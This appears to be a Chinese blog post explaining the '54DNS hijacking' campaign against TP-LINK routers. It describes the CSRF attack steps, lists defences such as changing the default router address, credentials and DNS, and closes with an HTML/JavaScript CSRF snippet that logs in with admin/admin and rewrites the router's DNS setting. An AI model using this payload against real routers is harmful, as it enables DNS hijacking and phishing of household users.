感觉家里的TP-LINK好危险

这两天“54DNS劫持”在安全圈子里炒得沸沸扬扬的,我也来凑个热闹看个究竟~

为什么叫54DNS劫持呢?简单来说,在5月4日国内著名的域名解析公司114DNS检测到“数据异常”,发现有组织利用DNS进行钓鱼攻击。详情可以看这篇文章(史上最大规模“54DNS劫持”已得到有效遏制 @ITBEAR)

这次攻击主要针对TP-LINK的路由器,利用的是路由器管理上的缺陷,本质上是CSRF攻击。这并不是一种新的思路,很久以前就已经提出过并用于内网渗透,只是现在被“别有用心”的人利用上了。攻击原理可以参考这篇文章(Http Authentication Url and csrf = Router Hacking !!!

步骤大概如下:

1. 攻击者诱骗受害者通过浏览器访问一个有CSRF攻击代码的页面;
2. 受害者访问后,这个页面里的CSRF代码开始执行;
3. 执行第1个CSRF:用默认账户密码登录默认路由IP地址(比如admin/admin登录http://192.68.1.1),这些默认的可以形成一个列表,遍历就行;
4. 第1个CSRF成功后,目标路由设备会有个合法的Cookie植入到受害者浏览器端;
5. 执行第2个CSRF:将DNS的IP修改为攻击者准备好的服务器IP。这次的执行,浏览器会带上第1次的合法Cookie,所以修改可以成功;
5. 用户的访问请求就会经过攻击者的这个服务器,攻击者可以做各种劫持了;

 防御方法:

1.修改路由器默认登录地址(把192.168.1.1改成其它未占用的IP)
2.修改路由器登录的账号和密码(admin和admin都改掉)
3.静态分配DNS地址(如8.8.8.8)

 最后来一发利用代码(未测试):

<script>
function trick_DNS(){
    i = new Image;
    i.src = 'http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6';
}
</script>
<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=trick_DNS()>

 PS.文中大部分内容来自微信公共主页 @网站安全中心 的文章 : 说说“史上最大规模的DNS劫持”

« 返回